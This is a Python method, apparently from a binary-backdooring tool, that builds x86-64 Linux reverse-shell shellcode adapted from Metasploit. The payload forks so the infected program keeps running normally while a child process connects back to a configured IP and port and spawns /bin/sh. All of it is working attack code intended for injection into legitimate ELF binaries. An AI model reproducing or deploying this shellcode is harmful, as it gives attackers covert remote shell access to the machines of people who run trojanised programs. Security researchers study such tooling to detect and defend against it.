    def reverse_shell_tcp(self, flItms, CavesPicked={}):
        """
        Modified from metasploit payload/linux/x64/shell_reverse_tcp
        to correctly fork the shellcode payload and continue normal execution.
        """

        if self.PORT is None:
            print ("Must provide port")
            return False

        #64bit shellcode
        self.shellcode1 = "\x6a\x39\x58\x0f\x05\x48\x85\xc0\x74\x0c"
        self.shellcode1 += "\x48\xBD"
        self.shellcode1 += struct.pack("<Q", self.e_entry)
        self.shellcode1 += "\xff\xe5"
        self.shellcode1 += ("\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
                            "\x48\x97\x48\xb9\x02\x00")
        self.shellcode1 += struct.pack("!H", self.PORT)
        self.shellcode1 += self.pack_ip_addresses()
        self.shellcode1 += ("\x51\x48\x89"
                            "\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce"
                            "\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62"
                            "\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
                            "\x0f\x05")

        self.shellcode = self.shellcode1
        return (self.shellcode1)
Modified from metasploit payload/linux/x64/shell_reverse_tcp
to correctly fork the shellcode payload and continue normal execution.
intel/LinuxIntelELF64.py